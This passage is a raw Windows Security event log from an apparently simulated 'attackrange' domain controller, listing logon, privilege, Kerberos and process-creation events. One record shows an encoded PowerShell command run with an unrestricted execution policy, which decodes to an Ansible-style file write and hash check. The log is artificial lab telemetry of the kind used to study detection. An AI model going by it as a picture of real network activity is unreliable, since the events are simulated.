EEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253238
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19A0AC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253237
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19A0AC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253236
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253235
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253234
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253233
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19A090

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253232
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19A090

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253231
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19A090
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253230
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253229
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253228
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253227
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x199DD4

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253226
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x199562

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253225
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x199DD4

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253224
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x199DD4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253223
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253222
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253221
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253220
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x199562

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253219
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x199562
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253218
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253217
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{E682210C-828C-31D0-0A13-2B3B56B2C778}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253216
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253215
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19546B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1154
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x280
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANgAxADgALgA5ADQAMAA5ADAANAAtADgANwA2ADYANwAxADUAMAAxADQAMQA0ADYANQBcAHMAbwB1AHIAYwBlACcACgAkAEQAZQBiAHUAZwBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAQwBvAG4AdABpAG4AdQBlACIACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACIAUwB0AG8AcAAiAAoAUwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAAMgAKACQAZgBkACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AEMAcgBlAGEAdABlACgAJABwAGEAdABoACkACgAkAHMAaABhADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUwBIAEEAMQBDAHIAeQBwAHQAbwBTAGUAcgB2AGkAYwBlAFAAcgBvAHYAaQBkAGUAcgBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAkAGIAeQB0AGUAcwAgAD0AIABAACgAKQAgACMAaQBuAGkAdABpAGEAbABpAHoAZQAgAGYAbwByACAAZQBtAHAAdAB5ACAAZgBpAGwAZQAgAGMAYQBzAGUACgB9AAoAcAByAG8AYwBlAHMAcwAgAHsACgAkAGIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABpAG4AcAB1AHQAKQAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEIAbABvAGMAawAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACwAIAAkAGIAeQB0AGUAcwAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAZgBkAC4AVwByAGkAdABlACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQAKAH0ACgBlAG4AZAAgAHsACgAkAHMAaABhADEALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgADAAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwACgAkAGgAYQBzAGgAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAcwBoAGEAMQAuAEgAYQBzAGgAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAC0AIgAsACAAIgAiACkALgBUAG8ATABvAHcAZQByAEkAbgB2AGEAcgBpAGEAbgB0ACgAKQAKACQAZgBkAC4AQwBsAG8AcwBlACgAKQAKAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAIgB7ACIAIgBzAGgAYQAxACIAIgA6ACIAIgAkAGgAYQBzAGgAIgAiAH0AIgAKAH0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

